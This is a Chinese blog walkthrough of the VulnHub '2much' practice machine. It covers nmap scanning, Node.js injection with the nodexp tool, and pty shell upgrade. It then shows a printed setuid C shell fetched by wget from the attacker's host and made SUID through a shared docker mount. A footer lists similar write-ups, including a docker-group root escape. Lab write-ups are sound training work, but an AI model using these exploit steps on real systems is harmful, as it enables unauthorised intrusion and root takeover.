vulnhub之2much的实践

VSole2023-08-14 09:40:07

今天实践的是vulnhub的2much镜像,

下载地址,https://download.vulnhub.com/2much/2much.tar.gz,

用virtualbox导入成功,

直接能看到靶机地址192.168.0.187,

继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.187,

8081端口上有node.js服务,

kali攻击机上下载攻击项目源码,

git clone https://github.com/esmog/nodexp.git,开始攻击,

python2 nodexp.py --url="http://192.168.0.187:8081/?name=[INJECT_HERE]",

获取到shell,session -i 2,转成交互式shell,

python -c 'import pty; pty.spawn("/bin/bash")',

在/home/4ndr34z/ftp目录里查看tdl.txt文件,

获取到密码3236$fsdfzcv_cs,

查看历史命令,发现这个密码是用来登录docker实例的,

登录进去看看,ssh root@127.0.0.1 -p23,

看来docker实例是跟外面有文件共享的,

在kali攻击机上做个攻击脚本,

vim exploit.c

int main(void){

       setgid(0); setuid(0);

       execl("/bin/sh","sh",0);

}

再开个http下载服务,python2 -m SimpleHTTPServer,

在靶机上下载这个文件,

wget http://192.168.0.186:8000/exploit.c,

编译成可执行文件,gcc exploit.c -o exploit,

再次登录到docker实例中,

把看到的可执行文件拷贝到新文件,cp exploit poc,

给新的可执行文件修改权限,chmod 4755 poc,

再回到靶机,执行这个新的可执行文件,./poc,id确认是root,

本作品采用《CC 协议》,转载必须注明作者和本文链接
vulnhub2much实践
2023-08-14 09:40:07
vulnhub2much实践
vulnhub 靶场 napping
2022-09-29 07:34:39
信息收集主机发现:sudo nmap -sn 192.168.56.1/24. -sC Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.-sV Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.-p This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen . The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if
vulnhubdarkhole2实践
2022-07-10 15:32:30
今天实践vulnhubdarkhole2镜像,下载地址,https://download.vulnhu
vulnhubsar实践
2023-09-04 09:33:30
今天实践vulnhubsar镜像,
vulnhubkatana实践
2023-07-24 09:41:01
今天实践vulnhubkatana镜像,下载地址,https://download.vulnhub.c
vulnhubha-natraj实践
2023-05-29 15:40:49
今天实践vulnhubha-natraj镜像,下载地址,https://download.vulnhu
vulnhubGitRoot实践
2023-05-08 11:12:17
/bin/sh,id确认是root,
vulnhubelection实践
2023-04-23 15:16:57
今天实践vulnhubelection镜像,下载地址,https://download.vulnhub.com/election/election.7z,用virtualbox导入,做地址扫描,sudo netdiscover -r 192.168.0.0/24,有地址了,192就是,再继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.192,有w
vulnhubPwned实践
2023-04-03 09:41:52
TcH,登录ftp,获取到note.txt和id_rsa两个文件,从note.txt查看到用户名ariana,给id_rsa权限chmod 600 id_rsa,ssh到靶机,ssh ariana@192.168.0.189 -i id_rsa,不是root,需要提权,sudo -l查看到selena可以执行/home/messenger.sh,查看/home/messenger.sh,以selena执行/home/messenger.sh,获取到新shell,还不是root,需要继续提权,账号在docker组里,查看系统里docker镜像,执行命令,docker run -v /:/mnt --rm -it privesc chroot /mnt sh,这回拿到root权限了,
今天实践vulnhubPresidential镜像,下载地址,https://download.vul
VSole
网络安全专家